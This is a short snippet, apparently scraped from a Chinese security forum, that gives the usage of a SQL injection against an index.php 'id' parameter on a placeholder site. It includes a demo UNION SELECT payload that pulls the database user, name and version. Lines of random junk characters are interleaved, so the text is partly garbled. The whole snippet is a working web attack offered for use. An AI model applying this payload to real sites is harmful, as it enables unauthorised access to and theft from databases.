利用方法:) m# s; U) h, k/ ~
http://www.xxx.com/index.php?id=[SQL]
p% {8 ?+ W& I) U Demo:
( w/ l6 y, L0 A3 w3 M' M7 h) N9 T7 k http://www.xxx.com/index.php?id=-1' UNION SELECT 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10,11,12,13--+ |